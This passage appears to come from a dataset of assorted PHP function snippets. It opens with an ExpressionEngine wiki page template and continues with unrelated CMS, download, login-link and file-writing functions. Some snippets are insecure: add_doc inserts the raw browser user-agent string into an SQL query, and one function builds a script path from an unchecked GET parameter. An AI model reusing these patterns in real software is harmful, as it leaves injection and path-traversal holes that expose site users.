#FBE6F2;\n\tborder: 1px solid #E68F8F;\n\tcolor: #071927;\n\tmargin: 10px 0 5px 0;\n\tpadding: 10px;\n}\n#content .critical p {\n\tmargin: 5px 0 6px 0;\n\tpadding: 0;\n}\n#content .searchbox {\n\tbackground-color: #eee;\n\tborder: 1px solid #222;\n\tpadding: 7px 0 7px 8px;\n\ttext-align: center;\n}\n#content ul.guidelineList {\n\tlist-style: none;\n\tmargin: 0;\n\tpadding: 0;\n}\n#content .guidelineDetails {\n\tmargin-left: 60px;\n}\nblockquote {\n\tborder: 1px solid #e1e1b5;\n\tborder-left: 3px solid #e1e1b5;\n\tbackground-color: #fdfdeb;\n\tpadding: 5px 8px;\n}\n\n/*\n\tTop Bar\n------------------------------------------------------ */\nbody { border-top: 8px solid #192329; }\n#topBar {\n\tbackground: #212c33 url({path:image_url}topbar_bg.gif) top left repeat-x;\n\tborder-bottom: 1px solid #8596a2;\n\tborder-top: 1px solid #3d5563;\n\tcolor: #fff;\n\tmargin: 0;\n}\n#topBar-inner {\n\twidth: 940px;\t\n}\n#topBar div.clear {\n\tpadding: 0;\n}\n#logo {\n\tfloat: left;\n\twidth: 210px;\n\tmargin: 0 0 0 20px;\n}\n.topBarLinks {\n\tcolor: #fff;\n\tbackground: transparent;\n\tfont-size: 11px;\n\ttext-align: right;\n\tpadding: 35px 0 6px 20px;\n}\n.topBarLinks b {\n\tfont-size: 14px;\n\tfont-weight: normal;\n}\n.topBarLinks a:link, .topBarLinks a:visited {\n\tcolor: #7da9c5;\n\tbackground: transparent;\n\ttext-decoration: none;\n}\n.topBarLinks a:hover {\n\ttext-decoration: underline;\n}\n\n/*\nPage Header\n------------------------------------------------------ */\n#pageheader {\n\tbackground: #3F4585;\n\tborder-bottom: 1px solid #071927;\n}\n\n/*\n\tSub-header Bar\n\tContains the breadcrumb links\n------------------------------------------------------ */\n#subheader {\n\tbackground-color: #ddd;\n\tborder-top: 1px solid #c0c0c0;\n\tborder-bottom: 1px solid #cacaca;\n\tmargin: 0px 0px 0px 0px;\n\tpadding: 0 0 0 20px;\n\tfont-size: 10px;\n}\n\n/*\n\tBreadcrumb Links\n------------------------------------------------------ */\n.breadcrumb {\n\tfont-size: 10px;\n}\n.breadcrumb a:link {\n\tfont-weight: bold;\n\ttext-decoration: underline;\n\twhite-space: nowrap;\n}\n.breadcrumb a:visited {\n\ttext-decoration: underline;\n\tfont-weight: bold;\n}\n.breadcrumb a:hover {\n\ttext-decoration: none;\n\tcolor: #333;\n}\n.breadcrumbspacer {\n\tcolor: #333;\n}\n\n/*\n\tMisc. Formatting Items\n------------------------------------------------------ */\n.spacer {\n\tmargin-bottom: 12px;\n}\n.itempad {\n\tpadding: 2px 0 2px 0;\n}\n.itempadbig {\n\tpadding: 5px 0 5px 0;\n}\n.bottompad {\n\tpadding: 0 0 2px 0;\n}\n.marginpad {\n\tmargin: 12px 0 10px 3px;\n}\n.leftpad {\n\tmargin: 0;\n\tpadding: 0 0 0 4px;\n}\n.default, .defaultBold, .defaultRight, .defaultCenter {\n\tbackground: transparent;\n\tfont-family: Verdana, Geneva, Tahoma, Trebuchet MS, Arial, Sans-serif;\n\tfont-size: 11px;\n\tcolor: #37424a;\n}\n.defaultBold {\n\tfont-weight: bold;\n}\n.defaultRight {\n\ttext-align: right;\n}\n.defaultCenter {\n\ttext-align: center;\n}\n\n/*\nMain Content Wrapper\n------------------------------------------------------ */\n#content {\n\tleft: 0px;\n\tright: 10px;\n\tmargin: 10px 20px 0 0;\n\tpadding: 0;\n}\n* html #content {\n\twidth: 100%;\n\twidth: auto;\n}\n#maincontent {\n\tleft: 0px;\n\tright: 10px;\n\tmargin: 10px 20px 0 20px;\n\tpadding: 0;\n\twidth: 940px;\n}\n\n/*\n\tOur Two Column Approach with a Little Path Down the Center\n\tA Path! A Path!!\n------------------------------------------------------ */\n\n.left220 {\n\twidth: 220px;\n\tfloat: left;\n}\n.right720 {\n\twidth: 690px;\n\tmargin-left: 30px;\n\tfloat: left;\n}\n.clear {\n\tclear: both;\n\tpadding: 10px;\n}\n\n/*\n\tPage Footer\n------------------------------------------------------ */\n#footer {\n\tborder: 1px solid #eee;\n\tpadding: 5px 0 5px 0;\n\tclear: both;\n\ttext-align: center;\n\tfont-family: Verdana, Geneva, Tahoma, Trebuchet MS, Arial, Sans-serif;\n\tfont-size: 9px;\n\tcolor: #999;\n\tline-height: 15px;\n\tmargin-top: 20px;\n\tmargin-bottom: 15px;\n}\n\n/*\n\tForm Field Formatting\n------------------------------------------------------ */\n\nform {\n\tmargin: 0;\n\tpadding: 0;\n\tborder: 0;\n}\n.input {\n\tborder-top: 2px solid #c2c2c2;\n\tborder-left: 2px solid #c2c2c2;\n\tborder-bottom: 1px solid #c2c2c2;\n\tborder-right: 1px solid #c2c2c2;\n\tcolor: #333;\n\tfont-family: Verdana, Geneva, Tahoma, Trebuchet MS, Arial, Sans-serif;\n\tfont-size: 11px;\n\theight: 1.7em;\n\tpadding: 0;\n\tmargin: 0;\n}\n.textarea {\n\tborder-top: 2px solid #c2c2c2;\n\tborder-left: 2px solid #c2c2c2;\n\tborder-bottom: 1px solid #c2c2c2;\n\tborder-right: 1px solid #c2c2c2;\n\tcolor: #333;\n\tfont-family: Verdana, Geneva, Tahoma, Trebuchet MS, Arial, Sans-serif;\n\tfont-size: 11px;\n\tpadding: 0;\n\tmargin: 5px;\n}\n.checkbox {\n\tbackground-color: transparent;\n\tpadding: 0;\n\tborder: 0;\n}\n.submit {\n\tfont-size: 11px;\n\tfont-weight: bold;\n\tborder-top: 1px solid #9fbed6;\n\tborder-left: 1px solid #9fbed6;\n\tborder-right: 1px solid #071927;\n\tborder-bottom: 1px solid #071927;\n\tletter-spacing: .1em;\n\tmargin: 0;\n\tpadding: 2px 8px;\n\tbackground-color: #3f5b70;\n\tcolor: #fff;\n\tcursor: pointer;\n}\n.alert {\n\tfont-family: Verdana, Geneva, Tahoma, Trebuchet MS, Arial, Sans-serif;\n\tfont-size: 11px;\n\tcolor: #990000;\n\tfont-weight: bold;\n}\n.highlight {\n\tcolor: #393;\n}\n\n/* Warning Message */\ndiv.warning {\n\tbackground: #FBE6F2;\n\tcolor:#bb2826;\n\tborder: 2px solid #D893A1;\n\tmargin: 10px -20px 5px 0;\n\tpadding: 10px;\n\t}\n\t\n/* remove indents in forms */\n#content form div.codeblock { \n\tmargin-left: 0;\n\t}\n\t\n/* image button overrides */\ninput.eedoc-btn {\n\tborder: 0;\n\tmargin: 0;\n\tpadding: 0;\n\tbackground: #fff;\n\tcolor: #333;\n}\ninput.eedoc-btn, input.eedoc-txt {\n\tvertical-align: middle;\n}\n</style>\n\n<script type=\"text/javascript\">\n\n\n</script>\n\n</head>\n<body>\n<div id='topBar'>\n<div id=\"topBar-inner\">\n\n<div id=\"logo\">\n<!--<img src=\"{path:image_url}eedoc_logo.gif\" width=\"245\" height=\"80\" />-->\n<img src=\"{path:image_url}ee_wiki_logo.gif\" width=\"210\" height=\"80\" />\n</div>\n\n\n<div class='topBarLinks'>\n\n{if logged_out}\n\t<a href=\"{path:login}\">Login</a>\t\n\t&nbsp;&nbsp;&middot;&nbsp;&nbsp;\n\t<a href=\"{path:register}\">Register</a>\t\n\t&nbsp;&nbsp;&middot;&nbsp;&nbsp;\n\t<a href=\"{path:memberlist}\">Member List</a>\n{/if}\n\n{if logged_in}\n\tLogged in as:&nbsp;&nbsp;<b>{screen_name}</b>\n\t&nbsp;&nbsp;&middot;&nbsp;&nbsp;\n\t<a href=\"{path:your_profile}\">Your Profile</a>\n\t&nbsp;&nbsp;&middot;&nbsp;&nbsp;\n\t<a href=\"{path:your_control_panel}\">Your Control Panel</a>\n\t&nbsp;&nbsp;&middot;&nbsp;&nbsp;\n\t<a href=\"{path:memberlist}\">Member List</a>\n\t&nbsp;&nbsp;&middot;&nbsp;&nbsp;\n\t<a href=\"{path:logout}\">Log-Out</a>\n{/if}\n\n</div>\n\n</div>\n<div class=\"clear\"></div>\n</div>\n\n<!-- END Subheader -->\n\n<div id=\"subheader\">\n<div class=\"itempadbig\"><div class=\"breadcrumb\">\n\n<a href=\"{path:wiki_home}\">Wiki Home</a>\n<span class=\"breadcrumbspacer\">&nbsp;&nbsp;&gt;&nbsp;&nbsp;</span>\n\n{if edit_article}\n<a href=\"{path:view_article}\">{title}</a>\n{if can_edit}<span class=\"breadcrumbspacer\">&nbsp;&nbsp;&gt;&nbsp;&nbsp;</span>Editing{/if}\n{if cannot_edit}<span class=\"breadcrumbspacer\">&nbsp;&nbsp;&gt;&nbsp;&nbsp;</span>Source{/if}\n\n{if:elseif article_history}\n<a href=\"{path:view_article}\">{title}</a>\n<span class=\"breadcrumbspacer\">&nbsp;&nbsp;&gt;&nbsp;&nbsp;</span>History\n\n{if:elseif revision}\n<a href=\"{path:view_article}\">{title}</a>\n<span class=\"breadcrumbspacer\">&nbsp;&nbsp;&gt;&nbsp;&nbsp;</span>Revision - {revision_id}\n\n{if:else}\n{title}\n{/if}\n\n</div></div>\n</div>\n\n<!-- END Subheader -->\n\n<div id=\"maincontent\">\n\n<div class=\"left220\">\n\n<h2>Navigation</h2>\n<div class=\"marginpad\">\n&nbsp;&#183;&nbsp;&nbsp; <a href=\"{path:wiki_home}\">Wiki Home</a><br />\n&nbsp;&#183;&nbsp;&nbsp; <a href=\"http://expressionengine.com/docs/modules/wiki/getting_started.html\">Wiki Help</a><br />\n&nbsp;&#183;&nbsp;&nbsp; <a href=\"{path:wiki_home}{special_namespace}:Categories\" title=\"{special_namespace}:Categories\">Categories</a><br />\n&nbsp;&#183;&nbsp;&nbsp; <a href=\"{path:wiki_home}{special_namespace}:Titles\" title=\"List of Titles\">Title List</a><br />\n&nbsp;&#183;&nbsp;&nbsp; <a href=\"{path:wiki_home}{special_namespace}:Uncategorized\" title=\"Uncategorized Pages\">Uncategorized Pages</a><br />\n&nbsp;&#183;&nbsp;&nbsp; <a href=\"{path:wiki_home}{special_namespace}:Random_page\" title=\"Random Page\">Random Page</a><br />\n{if uploads}\n&nbsp;&#183;&nbsp;&nbsp; <a href=\"{path:wiki_home}{special_namespace}:Uploads\" title=\"Uploads\">File Upload</a><br />\n&nbsp;&#183;&nbsp;&nbsp; <a href=\"{path:wiki_home}{special_namespace}:Files\" title=\"Uploaded Files\">Uploaded Files</a><br />\n{/if}\n&nbsp;&#183;&nbsp;&nbsp; <a href=\"{path:wiki_home}{special_namespace}:Recentchanges\" title=\"Recent Changes Page\">Recent Changes</a><br />\n&nbsp;&#183;&nbsp;&nbsp; <a href=\"{path:wiki_home}{special_namespace}:Recentchanges_RSS\" title=\"Recent Changes in RSS\">RSS</a><br />\n&nbsp;&#183;&nbsp;&nbsp; <a href=\"{path:wiki_home}{special_namespace}:Recentchanges_Atom\" title=\"Recent Changes in Atom\">Atom</a><br />\n{if article}&nbsp;&#183;&nbsp;&nbsp; <a href=\"{path:wiki_home}{special_namespace}:Associated_Pages/{url_title}/\" title=\"What Links Here\">What Links Here</a><br />{/if}\n</div>\n\n<h2>Active Members:</h2>\n\n<div class=\"marginpad\">\n{wiki:active_members}\n&nbsp;&middot;&nbsp;&nbsp;<a href=\"{path:member_profile}\">{name}</a><br />\n{/wiki:active_members}\n</div>\n\n<h2>Search:</h2>\n<div class=\"marginpad\">\n<form method=\"post\" action=\"{path:wiki_home}{special_namespace}:Search_results/\">\n<div><input type=\"hidden\" name=\"XID\" value=\"{XID_HASH}\" /></div>\n<input id=\"wiki-search\" type=\"text\" class=\"input eedoc-txt\" name=\"keywords\" size=\"20\" value=\"\" maxlength=\"80\" style=\"width:130px\" />\n&nbsp;<input type=\"image\" src=\"{path:image_url}btn_search.gif\" alt=\"Search\" class=\"submit eedoc-btn\" value=\"Search\" />\n</form>\n</div>\n\n<h2>Create or Find Page:</h2>\n<div class=\"marginpad\">\n<form method=\"post\" action=\"{path:wiki_home}{special_namespace}:Find_page/\">\n<div><input type=\"hidden\" name=\"XID\" value=\"{XID_HASH}\" /></div>\n<input id=\"wiki-create\" type=\"text\" class=\"input eedoc-txt\" name=\"title\" size=\"20\" value=\"\" maxlength=\"80\" style=\"width:130px\" />\n&nbsp;<input type=\"image\" src=\"{path:image_url}btn_create.gif\" alt=\"Create\" class=\"submit eedoc-btn\" value=\"Go\" />\n\n</form>\n</div>\n\n<div class=\"spacer\"></div>\n</div>\n\n\n<div class=\"right720\">\n<div id=\"article\">\n\n\n<h2>\n\n<span style=\"float:right; font-size: 11px; font-family: Verdana, Geneva, Sans-serif; margin: 2px 5px 0 0; clear:both;\">\n{if special_page}\n<a href=\"{path:view_article}\">Special Page</a>\n{if:elseif file_page}\n<a href=\"{path:view_article}\">File Page</a>\n{if:else}\n<a href=\"{path:view_article}\">View</a>\n{if can_edit}\n - <a href=\"{path:edit_article}{if revision}revision/{revision_id}/{/if}\">Edit</a> - <a href=\"{path:article_history}\">History</a>\n{/if}\n{/if}\n</span>\n\n{if edit_article}\n{if can_edit}Editing: {/if}\n{if cannot_edit}View Source: {/if}\n{/if}\n\n{if article_history}\nViewing History: \n{/if}\n{if revision}\nRevision: \n{/if}\n\n{if topic == 'index'}\n{wiki_name}\n{if:else}\n{title}\n{/if}\n</h2>\n\n<!-- Begin Main Content of Page -->\n\n{if redirected}\n<div class=\"lighttext\">Redirected from: <a href=\"{path:original_page}\">{original_page}</a></div>\n{/if}\n\n{if redirect_page}\n<div class=\"lighttext\">Page Redirects To: <a href=\"{path:redirect_page}\">{redirect_page}</a></div>\n{/if}\n\n\n<div id=\"content\">\n\n{if new_article}\n<strong>This Article Does Not Exist Yet.</strong><br /><br />\n{if can_edit}\nClick Edit to Create!\n{/if}\n{if cannot_edit}\nYou are unable to add articles to the wiki. Sorry!\n{/if}\n{/if}\n\n\n{wiki:page}\n\n\n</div>\n\n</div>\n<div class=\"clear\"></div>\n\n</div>\n</div>\n\n<div id=\"footer\">\n<a href=\"http://expressionengine.com/\">Powered by ExpressionEngine</a><br />\nExpressionEngine Wiki - Version {module_version}<br />\nScript Executed in {elapsed_time} seconds\n</div>\n\n<script type=\"text/javascript\">\n/**\n * Safari Search Field\n * Replaces the search text input field with the really pretty one in Safari\n */\n\nif (document.getElementById('wiki-search'))\n{\n\tif ((parseInt(navigator.productSub)>=20020000)&&(navigator.vendor.indexOf(\"Apple Computer\")!=-1))\n\t{\n\t\tsearchField = document.getElementById('wiki-search');\n\t\tsearchField.setAttribute('type', 'search');\n\t\tsearchField.setAttribute('autosave', 'eedocs_wiki_search');\n\t\tsearchField.setAttribute('results', '16');\n\t\tsearchField.setAttribute('placeholder', 'Search Wiki');\n\t}\n}\nif (document.getElementById('wiki-create'))\n{\n\tif ((parseInt(navigator.productSub)>=20020000)&&(navigator.vendor.indexOf(\"Apple Computer\")!=-1))\n\t{\n\t\tsearchField = document.getElementById('wiki-create');\n\t\tsearchField.setAttribute('type', 'search');\n\t\tsearchField.setAttribute('autosave', 'eedocs_wiki_create');\n\t\tsearchField.setAttribute('results', '16');\n\t\tsearchField.setAttribute('placeholder', 'Create Page');\n\t}\n}\n</script>\n</body>\n</html>\n\t<?php\n\t\n\t$buffer = ob_get_contents();\n\tob_end_clean();\n\t\n\treturn $buffer;\n}", "function download_suket_020()\n\t{\n\t\tforce_download('assets/uploads/warga/suket_020/template_surat_rekomendasi_izin_mendirikan_bangunan.docx', NULL);\n\t}", "function sherpa_backend_scripts() {\r\n\t\r\n\tsherpa_front_and_backend_scripts();\r\n}", "function main($content, $conf) {\n\t\t$this->conf = $conf;\n\t\t$this->pi_setPiVarDefaults();\n\t\t$this->pi_loadLL();\n\t\tglobal $TYPO3_CONF_VARS;\n\t\t$extConf = unserialize($TYPO3_CONF_VARS['EXT']['extConf']['shibboleth']);\t\n\t\t\n\t\t\t// TODO: Move the following information to some place more appropriate\n\t\t\t/*\n\t\t\tAbout virtual hosts in connection with Shibboleth:\n\t\t\tThink in terms of applications: An application needs an entry in shibboleth2.xml and is identified by it's application ID\n\t\t\tDefault application ID is \"default\". Application is a set of protected resources. See RequestMapper section in xml or \n\t\t\tset application ID directly in Apache config (or by .htaccess). We protect our TYPO3 instance, possibly we use an alternative \n\t\t\tapplication ID for the /typo3 directory, i.e. we make another application out of the backend.\n\t\t\t\n\t\t\tTypically an application does not span multiple virtual hosts. However, an application may be accessible by more than one\n\t\t\tdomain, i.e. virtual host. In that case, it is unclear to me, if one has do define multiple applications in the xml file.\n\t\t\t\n\t\t\tSee also: http://kb.ucla.edu/articles/shibboleth-apache-multiple-virtual-host-configuration-for-moodle\n\t\t\t*/\n\t\t\t\n\t\t\t// Allow adding of entityID parameter to IdP-Link, if configured in ext conf.\n\t\t\n\t\t$entityIDparam = $extConf['entityID'];\n\t\tif ($entityIDparam != '') {\n\t\t\t$entityIDparam = 'entityID='. rawurldecode($entityIDparam);\n\t\t}\n\t\t\n\t\t$typo3_site_url = GeneralUtility::getIndpEnv('TYPO3_SITE_URL');\n\t\tif ($extConf['forceSSL']) {\n\t\t\t$typo3_site_url = str_replace('http://', 'https://', $typo3_site_url);\n\t\t}\n\t\t\n\t\t\t// TODO: hard-coded link text shall be replaced by locallang.xml based, piGetLL or something like that\n\t\t$linkText = 'Shibboleth Login';\n\t\t\n\t\t$sessionHandlerUrl = $extConf['sessions_handlerURL'];\n\t\t\n\t\tif (preg_match('/^http/',$sessionHandlerUrl) == 0) {\n\t\t\t$sessionHandlerUrl = $typo3_site_url . $sessionHandlerUrl;\n\t\t}\n\n\t\t$targetParam = 'target=' . rawurlencode(GeneralUtility::getIndpEnv('TYPO3_SITE_URL'));\n\n\t\tif (($entityIDparam != '') and ($targetParam != '')) {\n\t\t\t$params = $entityIDparam . '&' . $targetParam;\n\t\t} else {\n\t\t\t$params = $entityIDparam . $targetParam;\n\t\t}\n\n\t\tif ($params != '') {\n\t\t\t$params = '?' . $params;\n\t\t}\n\t\t\n\t\t$content='\n\t\t\t<a href=\"' . $sessionHandlerUrl . $extConf['sessionInitiator_Location'] . $params . '\">' . $linkText . '</a>\n\t\t';\n\n\t\treturn $this->pi_wrapInBaseClass($content);\n\t}", "function add_doc($title,$doc_content,$user,$post_status,$permalink=''){\n\tglobal $prefix_doc;\n\t\n\t$title = mysqli_escape($title);\n\t$title = htmlspecialchars($title);\n\t$post_status = mysqli_escape($post_status);\n\t$user = mysqli_escape($user);\n\t$doc_content = mysqli_escape($doc_content);\n\t\n\t\n\t\n\t\n\t\n\t\n\t\t/*\n\t\t*\tDecide the new peramilijhnk\n\t\t*\n\t\t*/\n\t\t\n\t\t\t/*\n\t\t\t*\tcheck the permalink is empty or not\n\t\t\t*/\n\t\t\t\n\t\t\tif(empty($permalink)){\n\t\t\t\t$permalink = 'random';\n\t\t\t}else if(!validate_username($permalink)){\n\t\t\t\t$permalink = 'random';\n\t\t\t}\n\t\t\t\n\t\t$i=1;\n\t\t$ppb = $permalink;\n\t\twhile(true){\n\t\t\tif(!is_exists_cpermalink($permalink)){\n\t\t\t\n\t\t\t\tbreak 1; \n\t\t\t\t\n\t\t\t}else{\n\t\t\t\t$i++ ; \n\t\t\t\t$permalink = $ppb.\"_$i\";\n\t\t\t\n\t\t\t}\n\n\t\t}\n\t\t\n\t\t$permalink = mysqli_escape($permalink);\n\t\n\t\n\t\n\t\n\t\n\t\n\t\n\t\n\t$browser_info = $_SERVER['HTTP_USER_AGENT'];//browser info\n\t$ip = get_IP();// ip\n\t$chars = \"abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789\".\n\t'0123456789``-=~!@#$%^&*()_+,./<>?;:[]{}\\|oxyz';\n $active_key = md5(substr(str_shuffle($chars),0,8));\n\tborno_query(\"INSERT INTO $prefix_doc (`user_id`, `title`, `content`, `doc_status`, `browser_info`, `ip`, `edited`, `active_key`) VALUES ('$user', '$title', '$doc_content', '$post_status', '$browser_info', ' $ip', 'false', '$active_key')\");\n\t\n\t$row = mysqli_fetch_array(borno_query(\"SELECT id FROM prefix_doc ORDER BY `id` DESC \"));\n\t$doc_id = $row['id'];//content id\n\t\n\t\n\t//adding permalink meta\n\tborno_query(\"INSERT INTO prefix_dpermalink (`id`, `doc_id`, `permalink`) VALUES (NULL, '$doc_id', '$permalink');\");\n\t\n\t\n }", "abstract public function installPhp();", "private function _include_files() {\n\n require_once( KP_DIR_PATH . 'includes/korapay-shortcode.php' );\n require_once( KP_DIR_PATH . 'includes/korapay-admin-settings.php' );\n require_once( KP_DIR_PATH . 'includes/korapay-payment-list-class.php' );\n require_once( KP_DIR_PATH . 'includes/vc-elements/simple-vc-pay-now-form.php' );\n\n if ( is_admin() ) {\n require_once( KP_DIR_PATH . 'includes/korapay-tinymce-plugin-class.php' );\n }\n\n }", "function main()\r\n\t{\r\n\t\t$arguments = $this->constructArguments();\r\n\r\n\t\t$this->log(\"Running phpDocumentor...\");\r\n\r\n\t\texec($this->programPath . \" \" . $arguments, $output, $return);\r\n\r\n\t\tif ($return != 0)\r\n\t\t{\r\n\t\t\tthrow new BuildException(\"Could not execute phpDocumentor: \" . implode(' ', $output));\r\n\t\t}\r\n\t\t\r\n\t\tforeach($output as $line)\r\n\t\t{\r\n\t\t\tif(strpos($line, 'ERROR') !== false)\r\n\t\t\t{\r\n\t\t\t\t$this->log($line, PROJECT_MSG_ERR);\r\n\t\t\t\tcontinue;\r\n\t\t\t}\r\n\t\t\t\r\n\t\t\t$this->log($line, PROJECT_MSG_VERBOSE);\r\n\t\t}\r\n\t}", "function write_to_file($filename,$content,$accepted_time=30)\r\n{\r\n\t// This function gets the current file path and writes the new content JS in the Folder\r\n\t//By Default this path will be that of the location of the mysqlj library. This is currently set to /src/Dhuny/mysql in github\r\n\t// to move a few directories up use: ../../../.$filename\r\n\t//If you are working with composer, the path may be 5 levels higher, so use ../../../../../$filename\r\n\t\r\n\t//This section is set as a todo list, where we shall have a genJS folder for generated JS .\r\n\t// If this is set then the search within the folders should go to this path as well.\r\n//\t$filename = dirname(__FILE__).DIRECTORY_SEPARATOR.\"..\".DIRECTORY_SEPARATOR.\"..\".DIRECTORY_SEPARATOR.\"..\".DIRECTORY_SEPARATOR.$filename;\r\n\r\n\r\n\t$filename = dirname(__FILE__).DIRECTORY_SEPARATOR.$filename;\r\n\t\r\n\t$filename = str_replace(DIRECTORY_SEPARATOR.'src'.DIRECTORY_SEPARATOR.'dhuny'.DIRECTORY_SEPARATOR.'mysqlj','',$filename); // This is for GITHuB Replacement path\r\n\t\r\n\t$filename = str_replace(DIRECTORY_SEPARATOR.'vendor'.DIRECTORY_SEPARATOR.'dhuny'.DIRECTORY_SEPARATOR.'mysqlj','',$filename); // Thi second replacement is for composer or packagist\r\n// The above 3 lines should be reviewd to improve portability of codes\t\r\n\t//echo\"The Filename is: \".$filename;\r\n\tif (file_exists($filename)) { // check if file exists and caculate age of file.\r\n\t$since_last_update = (time() - filemtime($filename));\r\n} else {\r\n\t\r\n//\tif (strtoupper(substr(PHP_OS, 0, 3)) === 'WIN') {\r\n // echo \"<b style='font-size:0.6em;color:Red;font-weight:normal;'>This is a server using Windows! Touch Directory may not work as expected<b></br>\";\r\n//\texec(`php NUL > $filename`);\r\n//} else {\r\n // echo 'This is a server not using Windows!';\r\n\ttouch($filename);\r\n//}\r\n\t\r\n\t\r\n\t\r\n\t$since_last_update = $accepted_time + 1; // simply increase last update time to allow update condition to be called\r\n}\r\n\tif ($since_last_update > $accepted_time)\r\n{\r\n\t//echo($filename);\r\n $fh = fopen($filename, 'w') or die(\"can't open file\");\r\n\tfwrite($fh, $content);\r\n//\techo \"<br><b style='font-size:0.6em;color:Orange;font-weight:normal;'> We are also updating the page as last update was more \".$since_last_update.\" s earlier representing \".($since_last_update/60).\" m <b><br>\";\r\n\t}\r\n\t\r\n\r\n}", "function download_suket_018_perempuan()\n\t{\n\t\tforce_download('assets/uploads/warga/suket_018/template_surat_pengantar_nikah_perempuan.docx', NULL);\n\t}", "public function readme();", "function create_newsletter_page() {\r\n require_once( $plugin_dir . \"email-newsletter-files/page-create-newsletter.php\" );\r\n }", "public function documentation()\n\t{\n\t\tif(defined(\"CMS_BACKEND\"))\n\t\t{\n\t\t\tAuthUser::load();\n\t\t\tif ( ! AuthUser::isLoggedIn()) {\n\t\t\t\tredirect(get_url('login'));\n\t\t\t}\n\t\t\t$this->display('mbblog/views/admin/docs');\n\t\n\t\t} else\n\t\t{\n\t\t\tFlash::set('error', __('You do not have permission to access the requested page!'));\n\t\t\tredirect(get_url());\n\t\t}\n\t}", "function main()\n{\n\t\t$version = $_GET[\"version\"];\n\t\t$jsfile = DIR.\"/mxClient-$version.js\";\n\t\t\n\t\tdeliver(getScript($jsfile));\n}", "public static function main() {\n $dataDir = \"/usr/local/apache-tomcat-8.0.22/webapps/JavaBridge/Aspose_Words_Java_For_PHP/src/loadingandsaving/pagesplitter/documentpagesplitter/data/\";\n\n PageSplitter::SplitAllDocumentsToPages($dataDir);\n\n }", "function rd_do_header()\n{\n\techo <<<END\n<!DOCTYPE html PUBLIC \"-//W3C//DTD XHTML 1.0 Transitional//EN\" \"http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd\">\n\t<html xmlns=\"http://www.w3.org/1999/xhtml\" lang=\"EN\">\n\t<head>\n\t\t<title>ocPortal rootkit detector</title>\n\t\t<link rel=\"icon\" href=\"http://ocportal.com/favicon.ico\" type=\"image/x-icon\" />\n\t\t<style type=\"text/css\">\nEND;\n@print(preg_replace('#/\\*\\s*\\*/\\s*#','',str_replace('url(\\'\\')','none',str_replace('url(\"\")','none',preg_replace('#\\{\\$[^\\}]*\\}#','',file_get_contents($GLOBALS['FILE_BASE'].'/themes/default/css/global.css'))))));\necho <<<END\n\t\t\t.main_page_title { text-decoration: underline; display: block; background: url('themes/default/images/bigicons/ocp-logo.png') top left no-repeat; min-height: 42px; padding: 3px 0 0 60px; }\n\t\t\ta[target=\"_blank\"], a[onclick$=\"window.open\"] { padding-right: 0; }\n\t\t</style>\n\t</head>\n\t<body class=\"re_body\"><div class=\"global_middle\">\n\t\t<h1 class=\"main_page_title\">ocPortal rootkit detector</h1>\n\t\t<form title=\"Proceed\" action=\"rootkit_detection.php?type=go\" method=\"post\">\nEND;\n}", "public function run() {\n\t\t$start = microtime(true);\n\t\t$parser = ZC_PARSER;\n\t\t\n\t\t// init session\n\t\tsession_start();\n\t\t\n\t\t// are we admin ?\n\t\t$this->is_admin = $this->isAdmin();\n\t\t\n\t\t// get path\n\t\t$path = isset( $_REQUEST[ 'path' ] ) ? $_REQUEST[ 'path' ] : null;\n\t\tif ( @empty( $path ) )\n\t\t\t$path = 'index';\n\t\telse\n\t\t\t$path = preg_replace( '#(?:\\.tx|/+)$#', '', $path );\n\t\t$this->current_path = $path;\n\t\tzc_log( \"PATH '$path'\" );\n\t\t\n\t\t// admin can edit and save\n\t\tif ( $this->is_admin ) {\n\t\t\t\n\t\t\t// save ?\n\t\t\tif ( ! @empty( $_POST[ 'content' ] ) ) {\n\t\t\t\ttry {\n\t\t\t\t\t$this->_pluginRunHook( 'PreSave', array( $path ) );\n\t\t\t\t\t$this->_savePost( $_POST[ 'content' ], $path );\n\t\t\t\t\t$this->_pluginRunHook( 'PostSave', array( $path ) );\n\t\t\t\t}\n\t\t\t\tcatch( Exception $e ) {}\n\t\t\t\theader( 'Location: /'. $path );\n\t\t\t}\n\t\t\t\n\t\t\t// edit ?\n\t\t\telseif ( isset( $_REQUEST[ 'edit' ] ) ) {\n\t\t\t\tprint $this->_editForm( $path );\n\t\t\t\treturn;\n\t\t\t}\n\t\t\t\n\t\t\t// clear cache ?\n\t\t\telseif ( isset( $_REQUEST[ 'clear-cache' ] ) ) {\n\t\t\t\t$this->_cacheClear();\n\t\t\t\t$this->_pluginRunHook( 'PostClearCache', array( $path ) );\n\t\t\t\theader( 'Location: /'. $path );\n\t\t\t\treturn;\n\t\t\t}\n\t\t}\n\t\t\n\t\t// dont give a ** about non-utf8\n\t\t#header( 'Content-type: text/html; charset='+ ZC_CHARSET_OUT );\n\t\theader( 'Content-type: text/html' );\n\t\t\n\t\t// get site contents\n\t\t$this->render_marker = array();\n\t\t$this->render_seen = array();\n\t\t\n\t\t$content = null;\n\t\ttry {\n\t\t\t$this->_pluginRunHook( 'PreContentRender', array( $path ) );\n\t\t\t$content = $this->_renderPage( $path );\n\t\t\t$this->_pluginRunHook( 'PostContentRender', array( $path, $content ) );\n\t\t}\n\t\tcatch( ZeroCmsHookException $e ) {\n\t\t\tif ( $e->hasArg( 'content' ) ) {\n\t\t\t\t$content = $e->getArg( 'content' );\n\t\t\t\tif ( ! $e->hasArg( 'noLayout' ) || $e->getArg( 'noLayout' ) !== true )\n\t\t\t\t\t$content = $this->_renderLayout( $content );\n\t\t\t}\n\t\t\telseif ( $e->hasArg( 'fallback' ) && $e->getArg( 'fallback' ) === true )\n\t\t\t\t$content = $this->_renderPage( $path );\n\t\t\terror_log( \"** EXCEPTION: '$e' **\" );\n\t\t}\n\t\t\n\t\t// no content received -> 404\n\t\tif ( is_null( $content ) ) {\n\t\t\t$content = '<div class=\"error\">Page not found 404</div>';\n\t\t\t$this->current_error = '404';\n\t\t\t$content = $this->_renderLayout( $content );\n\t\t}\n\t\telse\n\t\t\t$this->current_error = null;\n\t\t\n\t\t// render out\n\t\tif ( ZC_PRINT_RENDER_TIME === true )\n\t\t\t$content .= '<!-- Render '. ( microtime(true) - $start ). ' seconds -->';\n\t\t\n\t\t// print, done\n\t\tprint $content;\n\t}", "function help(){\n\techo \"Usage : \\t(use --verbose for more infos)\\n\";\n\techo \"--build............................: Configure apache\\n\";\n\techo \"--apache-user --verbose............: Set Apache account in memory\\n\";\n\techo \"--sitename 'webservername'.........: Build vhost for webservername\\n\";\n\techo 